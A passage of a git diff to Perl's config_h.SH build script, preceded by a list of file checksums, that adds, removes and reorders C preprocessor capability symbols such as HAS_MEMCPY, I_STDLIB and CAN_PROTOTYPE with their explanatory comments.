56582d9875c1997876cf09305ccfc83448195de5d84d6374c78efaffeca4dfd7 lib/unicore/PropValueAliases.txt + * 047ab0f815b6d1b30a863d6fcbd49e6358e168a3bd6c7189e80ab9863957d222 lib/unicore/PropertyAliases.txt + * cde011921972dffe3e30dcbc7afbf069bf2eb01269097111dd7533b4c524caac lib/unicore/ScriptExtensions.txt + * fba415952f5654145acad220dc2b878f815c673474d2bb4928934e3ba6ccca1d lib/unicore/Scripts.txt + * dfc4f159c5c68328114ff17cd520451714a72ff48657287e5fe2f64344980695 lib/unicore/SpecialCasing.txt + * 68dfc414d28257b9b5d6ddbb8b466c768c00ebdf6cbf7784364a9b6cad55ee8f lib/unicore/UnicodeData.txt + * c76e7ed44a602f85161758ec54d2bcbcb7baf38f97720605a3e81ce02af47061 lib/unicore/auxiliary/GCBTest.txt + * 4bb8931857e0a698fd2ec4a51a84c6de33e48a50d8b4bf0b57d960c41d77a191 lib/unicore/auxiliary/GraphemeBreakProperty.txt + * 0c609ae4a32a89905c004010ef29885df3c60a941311a1a6e16003333d7fcdc8 lib/unicore/auxiliary/LBTest.txt + * 26afdd5f38561167807b0f191af55b05761029ae6be2b7fe85b88f28effc66b5 lib/unicore/auxiliary/SBTest.txt + * 53982766eeaf26674e7e2ec956c52846d52992ea9f4f1a202d488fb5cd76dd10 lib/unicore/auxiliary/SentenceBreakProperty.txt + * 7f60beacc5ec5671edb56db36defc90cfc0016de4fd2bdfde7a3e4ec209840ce lib/unicore/auxiliary/WBTest.txt + * cb2db065c77287e0f1d35b8c9b473d848b7566a1670439f67c357ca393084043 lib/unicore/auxiliary/WordBreakProperty.txt + * 73573a4bee7f7377d936bc1710cd578001d00ba516e72ee54e906ae51a8c1fcb lib/unicore/extracted/DBidiClass.txt + * ae8f55d8bb2bb69a63f70eef38cf5921fc3ba8e06d4d88f37950d32313a14754 lib/unicore/extracted/DBinaryProperties.txt + * cf263ac4848d47264300139f97ed15c2c22896d2cef411483cbe292098c08bea lib/unicore/extracted/DCombiningClass.txt + * 5bac89caf8d1fa23fcbbbf4d49ea0699b680ef1a73cbfa0daaac38c993906a74 lib/unicore/extracted/DDecompositionType.txt + * e17138d36cd91f0e0d16437780a887c5ac637bde0de370b96f08a3424fcc322f lib/unicore/extracted/DEastAsianWidth.txt + * fad25c183f4d439622c6be33c22ed709cdc4ac19feef0250527cf319a06952fe lib/unicore/extracted/DGeneralCategory.txt + * c0d080b188fbe67dead10a3897dd2ca23da862c7f0b03508a92dcf27cd7e1f41 lib/unicore/extracted/DJoinGroup.txt + * 3a8f8642084ed23b0de52af72dea0ff3d0b6928e6c7442832c663899e2b85e9d lib/unicore/extracted/DJoinType.txt + * 37f6186253da9824bdb27f4ad867bfe8c25d4dc6bdb2f05585e40a034675a348 lib/unicore/extracted/DLineBreak.txt + * ef24061b5a5dc93d7e90c2e34530ec757180ee75d872cba65ffc946e52624ae8 lib/unicore/extracted/DNumType.txt + * a197371fec9a1b517058b440841f60f9378d81682084eef8db22a88cb2f96e90 lib/unicore/extracted/DNumValues.txt + * 4e326cd667e6212b35f1786d22970d19f1e85ec6622156cfd86febd5bb18fe50 lib/unicore/mktables + * cdecb300baad839a6f62791229f551a4fa33f3cbdca08e378dc976466354e778 lib/unicore/version + * 913d2f93f3cb6cdf1664db888bf840bc4eb074eef824e082fceda24a9445e60c regen/charset_translations.pl + * 9534d0cc3914fa1f5d574332c3199605c3d14f8691a0729d68d8498ac2b36280 regen/mk_invlists.pl * ex: set ro: */ diff --git a/config_h.SH b/config_h.SH index f275932e2113..e9b144f02bb1 100755 --- a/config_h.SH +++ b/config_h.SH @@ -63,6 +63,24 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d_alarm HAS_ALARM /**/ +/* HAS_BCMP: + * This symbol is defined if the bcmp() routine is available to + * compare blocks of memory. + */ +#$d_bcmp HAS_BCMP /**/ + +/* HAS_BCOPY: + * This symbol is defined if the bcopy() routine is available to + * copy blocks of memory. + */ +#$d_bcopy HAS_BCOPY /**/ + +/* HAS_BZERO: + * This symbol is defined if the bzero() routine is available to + * set a memory block to 0. + */ +#$d_bzero HAS_BZERO /**/ + /* HAS_CBRT: * This symbol, if defined, indicates that the cbrt() (cube root) * function is available. @@ -105,6 +123,14 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d_cuserid HAS_CUSERID /**/ +/* HAS_DBL_DIG: + * This symbol, if defined, indicates that this system's + * or defines the symbol DBL_DIG, which is the number + * of significant digits in a double precision number. If this + * symbol is not defined, a guess of 15 is usually pretty good. + */ +#$d_dbl_dig HAS_DBL_DIG /**/ + /* HAS_DIFFTIME: * This symbol, if defined, indicates that the difftime routine is * available. @@ -271,6 +297,32 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d_mbtowc HAS_MBTOWC /**/ +/* HAS_MEMCMP: + * This symbol, if defined, indicates that the memcmp routine is available + * to compare blocks of memory. + */ +#$d_memcmp HAS_MEMCMP /**/ + +/* HAS_MEMCPY: + * This symbol, if defined, indicates that the memcpy routine is available + * to copy blocks of memory. + */ +#$d_memcpy HAS_MEMCPY /**/ + +/* HAS_MEMMOVE: + * This symbol, if defined, indicates that the memmove routine is available + * to copy potentially overlapping blocks of memory. This should be used + * only when HAS_SAFE_BCOPY is not defined. If neither is there, roll your + * own version. + */ +#$d_memmove HAS_MEMMOVE /**/ + +/* HAS_MEMSET: + * This symbol, if defined, indicates that the memset routine is available + * to set blocks of memory. + */ +#$d_memset HAS_MEMSET /**/ + /* HAS_MKDIR: * This symbol, if defined, indicates that the mkdir routine is available * to create directories. Otherwise you should fork off a new process to @@ -292,12 +344,6 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d_mktime HAS_MKTIME /**/ -/* HAS_MSG: - * This symbol, if defined, indicates that the entire msg*(2) library is - * supported (IPC mechanism based on message queues). - */ -#$d_msg HAS_MSG /**/ - /* HAS_MSYNC: * This symbol, if defined, indicates that the msync system call is * available to synchronize a mapped file. @@ -407,12 +453,6 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d_select HAS_SELECT /**/ -/* HAS_SEM: - * This symbol, if defined, indicates that the entire sem*(2) library is - * supported. - */ -#$d_sem HAS_SEM /**/ - /* HAS_SETEGID: * This symbol, if defined, indicates that the setegid routine is available * to change the effective gid of the current program. @@ -513,6 +553,18 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d_stat HAS_STAT /**/ +/* HAS_STRCHR: + * This symbol is defined to indicate that the strchr()/strrchr() + * functions are available for string searching. If not, try the + * index()/rindex() pair. + */ +/* HAS_INDEX: + * This symbol is defined to indicate that the index()/rindex() + * functions are available for string searching. + */ +#$d_strchr HAS_STRCHR /**/ +#$d_index HAS_INDEX /**/ + /* HAS_STRCOLL: * This symbol, if defined, indicates that the strcoll routine is * available to compare strings using collating information. @@ -661,24 +713,68 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$i_fcntl I_FCNTL /**/ +/* I_FLOAT: + * This symbol, if defined, indicates to the C program that it should + * include to get definition of symbols like DBL_MAX or + * DBL_MIN, i.e. machine dependent floating point values. + */ +#$i_float I_FLOAT /**/ + /* I_GDBM: * This symbol, if defined, indicates that exists and should * be included. */ #$i_gdbm I_GDBM /**/ +/* I_LIMITS: + * This symbol, if defined, indicates to the C program that it should + * include to get definition of symbols like WORD_BIT or + * LONG_MAX, i.e. machine dependant limitations. + */ +#$i_limits I_LIMITS /**/ + /* I_LOCALE: * This symbol, if defined, indicates to the C program that it should * include . */ #$i_locale I_LOCALE /**/ +/* I_MATH: + * This symbol, if defined, indicates to the C program that it should + * include . + */ +#$i_math I_MATH /**/ + +/* I_MEMORY: + * This symbol, if defined, indicates to the C program that it should + * include . + */ +#$i_memory I_MEMORY /**/ + /* I_NETINET_IN: * This symbol, if defined, indicates to the C program that it should * include . Otherwise, you may try . */ #$i_niin I_NETINET_IN /**/ +/* I_STDDEF: + * This symbol, if defined, indicates that exists and should + * be included. + */ +#$i_stddef I_STDDEF /**/ + +/* I_STDLIB: + * This symbol, if defined, indicates that exists and should + * be included. + */ +#$i_stdlib I_STDLIB /**/ + +/* I_STRING: + * This symbol, if defined, indicates to the C program that it should + * include (USG systems) instead of (BSD systems). + */ +#$i_string I_STRING /**/ + /* I_SYS_DIR: * This symbol, if defined, indicates to the C program that it should * include . @@ -775,6 +871,14 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$i_utime I_UTIME /**/ +/* I_VALUES: + * This symbol, if defined, indicates to the C program that it should + * include to get definition of symbols like MINFLOAT or + * MAXLONG, i.e. machine dependant limitations. Probably, you + * should use instead, if it is available. + */ +#$i_values I_VALUES /**/ + /* I_VFORK: * This symbol, if defined, indicates to the C program that it should * include vfork.h. @@ -787,6 +891,28 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #define STDCHAR $stdchar /**/ +/* CAN_VAPROTO: + * This variable is defined on systems supporting prototype declaration + * of functions with a variable number of arguments. + */ +/* _V: + * This macro is used to declare function parameters in prototypes for + * functions with a variable number of parameters. Use double parentheses. + * For example: + * + * int printf _V((char *fmt, ...)); + * + * Remember to use the plain simple _() macro when declaring a function + * with no variable number of arguments, since it might be possible to + * have a non-effect _V() macro and still get prototypes via _(). + */ +#$vaproto CAN_VAPROTO /**/ +#ifdef CAN_VAPROTO +#define _V(args) args +#else +#define _V(args) () +#endif + /* INTSIZE: * This symbol contains the value of sizeof(int) so that the C * preprocessor can make decisions based on it. @@ -843,14 +969,14 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un #$d_eaccess HAS_EACCESS /**/ /* I_SYS_ACCESS: - * This symbol, if defined, indicates to the C program that it should - * include . + * This symbol, if defined, indicates to the C program that it should + * include . */ #$i_sysaccess I_SYS_ACCESS /**/ /* I_SYS_SECURITY: - * This symbol, if defined, indicates to the C program that it should - * include . + * This symbol, if defined, indicates to the C program that it should + * include . */ #$i_syssecrt I_SYS_SECURITY /**/ @@ -858,7 +984,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * This symbol contains the number of bytes required to align a * double, or a long double when applicable. Usual values are 2, * 4 and 8. The default is eight, for safety. For cross-compiling - * or multiarch support, Configure will set a minimum of 8. + * or multiarch support, Configure will set a minimum of 8. */ #define MEM_ALIGNBYTES $alignbytes @@ -961,7 +1087,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * the GNU C library is being used. A better check is to use * the __GLIBC__ and __GLIBC_MINOR__ symbols supplied with glibc. */ -#$d_gnulibc HAS_GNULIBC /**/ +#$d_gnulibc HAS_GNULIBC /**/ #if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE) # define _GNU_SOURCE #endif @@ -985,6 +1111,29 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d_open3 HAS_OPEN3 /**/ +/* HAS_SAFE_BCOPY: + * This symbol, if defined, indicates that the bcopy routine is available + * to copy potentially overlapping memory blocks. Normally, you should + * probably use memmove() or memcpy(). If neither is defined, roll your + * own version. + */ +#$d_safebcpy HAS_SAFE_BCOPY /**/ + +/* HAS_SAFE_MEMCPY: + * This symbol, if defined, indicates that the memcpy routine is available + * to copy potentially overlapping memory blocks. If you need to + * copy overlapping memory blocks, you should check HAS_MEMMOVE and + * use memmove() instead, if available. + */ +#$d_safemcpy HAS_SAFE_MEMCPY /**/ + +/* HAS_SANE_MEMCMP: + * This symbol, if defined, indicates that the memcmp routine is available + * and can be used to compare relative magnitudes of chars with their high + * bits set. If it is not defined, roll your own version. + */ +#$d_sanemcmp HAS_SANE_MEMCMP /**/ + /* HAS_SIGACTION: * This symbol, if defined, indicates that Vr4's sigaction() routine * is available. @@ -1113,12 +1262,12 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * This symbol is defined if using the FILE_ptr macro as an lvalue * to increase the pointer by n leaves File_cnt(fp) unchanged. */ -#$d_stdstdio USE_STDIO_PTR /**/ +#$d_stdstdio USE_STDIO_PTR /**/ #ifdef USE_STDIO_PTR #define FILE_ptr(fp) $stdio_ptr -#$d_stdio_ptr_lval STDIO_PTR_LVALUE /**/ +#$d_stdio_ptr_lval STDIO_PTR_LVALUE /**/ #define FILE_cnt(fp) $stdio_cnt -#$d_stdio_cnt_lval STDIO_CNT_LVALUE /**/ +#$d_stdio_cnt_lval STDIO_CNT_LVALUE /**/ #$d_stdio_ptr_lval_sets_cnt STDIO_PTR_LVAL_SETS_CNT /**/ #$d_stdio_ptr_lval_nochange_cnt STDIO_PTR_LVAL_NOCHANGE_CNT /**/ #endif @@ -1143,12 +1292,26 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * structure pointed to its argument. This macro will always be defined * if USE_STDIO_BASE is defined. */ -#$d_stdiobase USE_STDIO_BASE /**/ +#$d_stdiobase USE_STDIO_BASE /**/ #ifdef USE_STDIO_BASE #define FILE_base(fp) $stdio_base #define FILE_bufsiz(fp) $stdio_bufsiz #endif +/* HAS_VPRINTF: + * This symbol, if defined, indicates that the vprintf routine is available + * to printf with a pointer to an argument list. If unavailable, you + * may need to write your own, probably in terms of _doprnt(). + */ +/* USE_CHAR_VSPRINTF: + * This symbol is defined if this system has vsprintf() returning type + * (char*). The trend seems to be to declare it as "int vsprintf()". It + * is up to the package author to declare vsprintf correctly based on the + * symbol. + */ +#$d_vprintf HAS_VPRINTF /**/ +#$d_charvspr USE_CHAR_VSPRINTF /**/ + /* DOUBLESIZE: * This symbol contains the size of a double, so that the C preprocessor * can make decisions based on it. @@ -1156,8 +1319,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un #define DOUBLESIZE $doublesize /**/ /* I_TIME: - * This symbol is always defined, and indicates to the C program that - * it should include . + * This symbol, if defined, indicates to the C program that it should + * include . */ /* I_SYS_TIME: * This symbol, if defined, indicates to the C program that it should @@ -1249,13 +1412,13 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * to get any typedef'ed information. * We will pick a type such that sizeof(SSize_t) == sizeof(Size_t). */ -#define SSize_t $ssizetype /* signed count of bytes */ +#define SSize_t $ssizetype /* signed count of bytes */ /* EBCDIC: * This symbol, if defined, indicates that this system uses * EBCDIC encoding. */ -#$ebcdic EBCDIC /**/ +#$ebcdic EBCDIC /**/ /* ARCHLIB: * This variable, if defined, holds the name of the directory in @@ -1287,7 +1450,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #define BIN "$bin" /**/ #define BIN_EXP "$binexp" /**/ -#define PERL_RELOCATABLE_INC "$userelocatableinc" /**/ +#define PERL_RELOCATABLE_INC "$userelocatableinc" /**/ /* PERL_INC_VERSION_LIST: * This variable specifies the list of subdirectories in over @@ -1300,7 +1463,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un /* INSTALL_USR_BIN_PERL: * This symbol, if defined, indicates that Perl is to be installed - * also as /usr/bin/perl. + * also as /usr/bin/perl. */ #$installusrbinperl INSTALL_USR_BIN_PERL /**/ @@ -1436,7 +1599,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un /* CPPSTDIN: * This symbol contains the first part of the string which will invoke * the C preprocessor on the standard input and produce to standard - * output. Typical value of "cc -E" or "/lib/cpp", but it can also + * output. Typical value of "cc -E" or "/lib/cpp", but it can also * call a wrapper. See CPPRUN. */ /* CPPMINUS: @@ -1845,6 +2008,12 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un #define LONGLONGSIZE $longlongsize /**/ #endif +/* HAS_MEMCHR: + * This symbol, if defined, indicates that the memchr routine is available + * to locate characters within a C string. + */ +#$d_memchr HAS_MEMCHR /**/ + /* HAS_MKSTEMP: * This symbol, if defined, indicates that the mkstemp routine is * available to exclusively create and open a uniquely named @@ -1864,6 +2033,18 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un #$d_mmap HAS_MMAP /**/ #define Mmap_t $mmaptype /**/ +/* HAS_MSG: + * This symbol, if defined, indicates that the entire msg*(2) library is + * supported (IPC mechanism based on message queues). + */ +#$d_msg HAS_MSG /**/ + +/* HAS_SEM: + * This symbol, if defined, indicates that the entire sem*(2) library is + * supported. + */ +#$d_sem HAS_SEM /**/ + /* HAS_SETGRENT: * This symbol, if defined, indicates that the setgrent routine is * available for initializing sequential access of the group database. @@ -1991,15 +2172,34 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * st_blksize and st_blocks. */ #ifndef USE_STAT_BLOCKS -#$d_statblks USE_STAT_BLOCKS /**/ +#$d_statblks USE_STAT_BLOCKS /**/ #endif +/* USE_STRUCT_COPY: + * This symbol, if defined, indicates that this C compiler knows how + * to copy structures. If undefined, you'll need to use a block copy + * routine of some sort instead. + */ +#$d_strctcpy USE_STRUCT_COPY /**/ + +/* HAS_STRERROR: + * This symbol, if defined, indicates that the strerror routine is + * available to translate error numbers to strings. See the writeup + * of Strerror() in this file before you try to define your own. + */ /* HAS_SYS_ERRLIST: * This symbol, if defined, indicates that the sys_errlist array is * available to translate error numbers to strings. The extern int * sys_nerr gives the size of that table. */ +/* Strerror: + * This preprocessor symbol is defined as a macro if strerror() is + * not available to translate error numbers to strings but sys_errlist[] + * array is there. + */ +#$d_strerror HAS_STRERROR /**/ #$d_syserrlst HAS_SYS_ERRLIST /**/ +#define Strerror(e) $d_strerrm /* HAS_STRTOUL: * This symbol, if defined, indicates that the strtoul routine is @@ -2048,6 +2248,15 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #define Signal_t $signal_t /* Signal handler's return type */ +/* HASVOLATILE: + * This symbol, if defined, indicates that this C compiler knows about + * the volatile declaration. + */ +#$d_volatile HASVOLATILE /**/ +#ifndef HASVOLATILE +#define volatile +#endif + /* I_DIRENT: * This symbol, if defined, indicates to the C program that it should * include . Using this symbol also triggers the definition @@ -2208,9 +2417,20 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un #$i_termios I_TERMIOS /**/ #$i_sgtty I_SGTTY /**/ +/* I_STDARG: + * This symbol, if defined, indicates that exists and should + * be included. + */ +/* I_VARARGS: + * This symbol, if defined, indicates to the C program that it should + * include . + */ +#$i_stdarg I_STDARG /**/ +#$i_varargs I_VARARGS /**/ + /* Free_t: * This variable contains the return type of free(). It is usually - * void, but occasionally int. + * void, but occasionally int. */ /* Malloc_t: * This symbol is the type of pointer returned by malloc and realloc. @@ -2228,6 +2448,24 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d_mymalloc MYMALLOC /**/ +/* CAN_PROTOTYPE: + * If defined, this macro indicates that the C compiler can handle + * function prototypes. + */ +/* _: + * This macro is used to declare function parameters for folks who want + * to make declarations with prototypes using a different style than + * the above macros. Use double parentheses. For example: + * + * int main _((int argc, char *argv[])); + */ +#$prototype CAN_PROTOTYPE /**/ +#ifdef CAN_PROTOTYPE +#define _(args) args +#else +#define _(args) () +#endif + /* SH_PATH: * This symbol contains the full pathname to the shell used on this * on this system to execute Bourne shell scripts. Usually, this will be @@ -2314,12 +2552,6 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d__fwalk HAS__FWALK /**/ -/* HAS_ACCEPT4: - * This symbol, if defined, indicates that the accept4 routine is - * available to accept socket connections. - */ -#$d_accept4 HAS_ACCEPT4 /**/ - /* HAS_ACOSH: * This symbol, if defined, indicates that the acosh routine is * available to do the inverse hyperbolic cosine function. @@ -2354,22 +2586,6 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un #$d_builtin_expect HAS_BUILTIN_EXPECT /**/ #$d_builtin_choose_expr HAS_BUILTIN_CHOOSE_EXPR /**/ -/* HAS_BUILTIN_ADD_OVERFLOW: - * This symbol, if defined, indicates that the compiler supports - * __builtin_add_overflow for adding integers with overflow checks. - */ -/* HAS_BUILTIN_SUB_OVERFLOW: - * This symbol, if defined, indicates that the compiler supports - * __builtin_sub_overflow for subtracting integers with overflow checks. - */ -/* HAS_BUILTIN_MUL_OVERFLOW: - * This symbol, if defined, indicates that the compiler supports - * __builtin_mul_overflow for multiplying integers with overflow checks. - */ -#$d_builtin_add_overflow HAS_BUILTIN_ADD_OVERFLOW /**/ -#$d_builtin_sub_overflow HAS_BUILTIN_SUB_OVERFLOW /**/ -#$d_builtin_mul_overflow HAS_BUILTIN_MUL_OVERFLOW /**/ - /* HAS_C99_VARIADIC_MACROS: * If defined, the compiler supports C99 variadic macros. */ @@ -2449,13 +2665,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * makes sense if you *have* dlsym, which we will presume is the * case if you're using dl_dlopen.xs. */ -#$d_dlsymun DLSYM_NEEDS_UNDERSCORE /**/ - -/* HAS_DUP3: - * This symbol, if defined, indicates that the dup3 routine is - * available to duplicate file descriptors. - */ -#$d_dup3 HAS_DUP3 /**/ +#$d_dlsymun DLSYM_NEEDS_UNDERSCORE /**/ /* HAS_ERF: * This symbol, if defined, indicates that the erf routine is @@ -2607,22 +2817,22 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * available to classify doubles. Available for example in HP-UX. * The returned values are defined in and are * - * FP_NORMAL Normalized - * FP_ZERO Zero - * FP_INFINITE Infinity - * FP_SUBNORMAL Denormalized - * FP_NAN NaN + * FP_NORMAL Normalized + * FP_ZERO Zero + * FP_INFINITE Infinity + * FP_SUBNORMAL Denormalized + * FP_NAN NaN * */ /* HAS_FP_CLASSIFY: * This symbol, if defined, indicates that the fp_classify routine is * available to classify doubles. The values are defined in * - * FP_NORMAL Normalized - * FP_ZERO Zero - * FP_INFINITE Infinity - * FP_SUBNORMAL Denormalized - * FP_NAN NaN + * FP_NORMAL Normalized + * FP_ZERO Zero + * FP_INFINITE Infinity + * FP_SUBNORMAL Denormalized + * FP_NAN NaN * */ #$d_fpclassify HAS_FPCLASSIFY /**/ @@ -2655,7 +2865,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un /* HAS_FPOS64_T: * This symbol will be defined if the C compiler supports fpos64_t. */ -#$d_fpos64_t HAS_FPOS64_T /**/ +#$d_fpos64_t HAS_FPOS64_T /**/ /* HAS_FREXPL: * This symbol, if defined, indicates that the frexpl routine is @@ -2670,27 +2880,6 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d_fs_data_s HAS_STRUCT_FS_DATA /**/ -/* HAS_FCHMODAT: - * This symbol is defined if the fchmodat() routine is available. - */ -/* HAS_LINKAT: - * This symbol is defined if the linkat() routine is available. - */ -/* HAS_OPENAT: - * This symbol is defined if the openat() routine is available. - */ -/* HAS_RENAMEAT: - * This symbol is defined if the renameat() routine is available. - */ -/* HAS_UNLINKAT: - * This symbol is defined if the unlinkat() routine is available. - */ -#$d_fchmodat HAS_FCHMODAT /**/ -#$d_linkat HAS_LINKAT /**/ -#$d_openat HAS_OPENAT /**/ -#$d_renameat HAS_RENAMEAT /**/ -#$d_unlinkat HAS_UNLINKAT /**/ - /* HAS_FSEEKO: * This symbol, if defined, indicates that the fseeko routine is * available to fseek beyond 32 bits (useful for ILP32 hosts). @@ -2826,8 +3015,8 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un #$d_inetpton HAS_INETPTON /**/ /* HAS_INT64_T: - * This symbol will defined if the C compiler supports int64_t. - * Usually the needs to be included, but sometimes + * This symbol will defined if the C compiler supports int64_t. + * Usually the needs to be included, but sometimes * is enough. */ #$d_int64_t HAS_INT64_T /**/ @@ -2912,7 +3101,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * of significant digits in a long double precision number. Unlike * for DBL_DIG, there's no good guess for LDBL_DIG if it is undefined. */ -#$d_ldbl_dig HAS_LDBL_DIG /* */ +#$d_ldbl_dig HAS_LDBL_DIG /* */ /* HAS_LGAMMA: * This symbol, if defined, indicates that the lgamma routine is @@ -3031,26 +3220,12 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d_memmem HAS_MEMMEM /**/ -/* HAS_MEMRCHR: - * This symbol, if defined, indicates that the memrchr routine is - * available to return a pointer to the last occurrence of a byte in - * a memory area (or NULL if not found). - */ -#$d_memrchr HAS_MEMRCHR /**/ - /* HAS_MKDTEMP: * This symbol, if defined, indicates that the mkdtemp routine is * available to exclusively create a uniquely named temporary directory. */ #$d_mkdtemp HAS_MKDTEMP /**/ -/* HAS_MKOSTEMP: - * This symbol, if defined, indicates that the mkostemp routine is - * available to exclusively create and open a uniquely named (with a - * suffix) temporary file. - */ -#$d_mkostemp HAS_MKOSTEMP /**/ - /* HAS_MKSTEMPS: * This symbol, if defined, indicates that the mkstemps routine is * available to exclusively create and open a uniquely named @@ -3089,12 +3264,6 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d_nan HAS_NAN /**/ -/* HAS_NANOSLEEP: - * This symbol, if defined, indicates that the nanosleep - * system call is available to sleep with 1E-9 sec accuracy. - */ -#$d_nanosleep HAS_NANOSLEEP /**/ - /* HAS_NEARBYINT: * This symbol, if defined, indicates that the nearbyint routine is * available to return the integral value closest to (according to @@ -3115,10 +3284,6 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * This symbol, if defined, indicates that the uselocale routine is * available to set the current locale for the calling thread. */ -/* HAS_DUPLOCALE: - * This symbol, if defined, indicates that the duplocale routine is - * available to duplicate a locale object. - */ /* HAS_QUERYLOCALE: * This symbol, if defined, indicates that the querylocale routine is * available to return the name of the locale for a category mask. @@ -3130,7 +3295,6 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un #$d_newlocale HAS_NEWLOCALE /**/ #$d_freelocale HAS_FREELOCALE /**/ #$d_uselocale HAS_USELOCALE /**/ -#$d_duplocale HAS_DUPLOCALE /**/ #$d_querylocale HAS_QUERYLOCALE /**/ #$i_xlocale I_XLOCALE /**/ @@ -3158,13 +3322,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un /* HAS_OFF64_T: * This symbol will be defined if the C compiler supports off64_t. */ -#$d_off64_t HAS_OFF64_T /**/ - -/* HAS_PIPE2: - * This symbol, if defined, indicates that the pipe2 routine is - * available to create an inter-process channel. - */ -#$d_pipe2 HAS_PIPE2 /**/ +#$d_off64_t HAS_OFF64_T /**/ /* HAS_PRCTL: * This symbol, if defined, indicates that the prctl routine is @@ -3203,7 +3361,7 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un /* HAS_PTRDIFF_T: * This symbol will be defined if the C compiler supports ptrdiff_t. */ -#$d_ptrdiff_t HAS_PTRDIFF_T /**/ +#$d_ptrdiff_t HAS_PTRDIFF_T /**/ /* HAS_READV: * This symbol, if defined, indicates that the readv routine is @@ -3339,6 +3497,14 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d_socks5_init HAS_SOCKS5_INIT /**/ +/* SPRINTF_RETURNS_STRLEN: + * This variable defines whether sprintf returns the length of the string + * (as per the ANSI spec). Some C libraries retain compatibility with + * pre-ANSI C and return a pointer to the passed in buffer; for these + * this variable will be undef. + */ +#$d_sprintf_returns_strlen SPRINTF_RETURNS_STRLEN /**/ + /* HAS_SQRTL: * This symbol, if defined, indicates that the sqrtl routine is * available to do long double square roots. @@ -3409,12 +3575,6 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un */ #$d_strlcpy HAS_STRLCPY /**/ -/* HAS_STRNLEN: - * This symbol, if defined, indicates that the strnlen () routine is - * available to check the length of a string up to a maximum. - */ -#$d_strnlen HAS_STRNLEN /**/ - /* HAS_STRTOLD: * This symbol, if defined, indicates that the strtold routine is * available to convert strings to long doubles. @@ -3601,8 +3761,14 @@ sed <$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un * Note that if fflushNULL is defined, fflushall will not * even be probed for and will be left undefined. */ -#$fflushNULL FFLUSH_NULL /**/ -#$fflushall FFLUSH_ALL /**/ +#$fflushNULL FFLUSH_NULL /**/ +#$fflushall FFLUSH_ALL /**/ + +/* I_ASSERT: + * This symbol, if defined, indicates that exists and 